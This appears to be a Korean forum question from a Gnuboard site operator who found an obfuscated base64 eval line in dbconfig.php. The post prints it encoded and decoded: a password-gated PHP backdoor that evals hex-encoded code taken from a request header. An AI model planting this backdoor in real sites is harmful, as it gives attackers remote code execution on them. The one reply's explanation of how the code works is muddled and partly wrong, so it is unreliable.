그누보드 dbconfig.php 파일 해킹 피해 관련 질문
본문
안녕하세요.
사이트를 서비스하는 도중에 dbconfig.php 파일을 확인해보니 최상단에
<?php eval(base64_decode('ZnVuY3Rpb24gY29uZmlnX3NlbGYoKQ0Kew0KICAgICRzdHJpbmcgPSAkX1NFUlZFUlsnSFRUUF9TRUxGJ107DQogICAgZm9yICgkb25lID0gMDsgJG9uZSA8IHN0cmxlbigkc3RyaW5nKTsgJG9uZSArPSAyKSB7DQogICAgICAgICRkZWJ1Z2VyIC49IHBhY2soIkMiLCBoZXhkZWMoc3Vic3RyKCRzdHJpbmcsICRvbmUsIDIpKSk7DQogICAgfQ0KICAgIHJldHVybiAkZGVidWdlcjsNCn0NCmZ1bmN0aW9uIGRiX3B3ZDUoJHB3ZDUgPSBudWxsKSB7DQoJJGtleSA9IHN1YnN0cihtZDUoJHB3ZDUpLDI2KTsNCglyZXR1cm4gJGtleTsgfQ0KCSRhcnJheSA9IGFycmF5KA0KCQljaHIoODIpLmNocig4MykuY2hyKDY1KSwgDQoJCWNocig3MikuY2hyKDg0KS5jaHIoODQpLmNocig4MCkuY2hyKDk1KS5jaHIoODgpLCANCgkJY2hyKDUwKS5jaHIoMTAxKS5jaHIoNTIpLmNocig1NCkuY2hyKDUyKS5jaHIoNTMpDQoJKTsNCiAgICBpZiAoIGRiX3B3ZDUoJF9SRVFVRVNUWyRhcnJheVswXV0pID09ICRhcnJheVsyXSApIHsNCiAgICBldmFsKGNvbmZpZ19zZWxmKCkpOw0KfQ=='));?>
이런 코드가 발견되었습니다.
디코딩해보니
<?php
function config_self()
{
$string = $_SERVER['HTTP_SELF'];
for ($one = 0; $one < strlen($string); $one += 2) {
$debuger .= pack("C", hexdec(substr($string, $one, 2)));
}
return $debuger;
}
function db_pwd5($pwd5 = null) {
$key = substr(md5($pwd5),26);
return $key; }
$array = array(
chr(82).chr(83).chr(65),
chr(72).chr(84).chr(84).chr(80).chr(95).chr(88),
chr(50).chr(101).chr(52).chr(54).chr(52).chr(53)
);
if ( db_pwd5($_REQUEST[$array[0]]) == $array[2] ) {
eval(config_self());
}
?>
위와 같은 코드가 나왔구요 ,, 외부에서 해당 펑션이 호출되지 않은것으로 보입니다만 ..
위 코드가 실행되면 어떻게 되는지 궁금해서요 ..
이부분에 대하여 잘 아시는분이 계시다면 꼭 답변 부탁드리겠습니다 ..
!-->!-->답변 1
처음보는 현상의 질문이라
저도 궁금해서 위의 코드가 실행되면 어찌될지 검색+조합을 통해서 추출해봤습니다.
위의 코드가 페이지가 열릴때마다
$array 들어가는 값
(
"RSA"
"HTTP_X"
"2e4645"
);
config_self(); // 가 실행됩니다.
config_self() 가 돌려주는 결과값은
$string = "파일명"; // 여기서는 /data/dbconfig.php
/data/dbconfig.php
^ ^ ^ ^ ^ ^ ^ ^ ^
/aadcni.h
라는 문자열을 만들어냅니다.
그런데 dbconfig.php 파일은 어디에서든 호출되므로
호출URL명/?RSA=2e4645
와 같이 호출되면
/ 뒤의URL값을
0부터 2씩증가된 값을 이름으로 추출해서 뭔가를 실행시키게 되겠네요
같이 될겁니다.
!-->
답변을 작성하시기 전에 로그인 해주세요.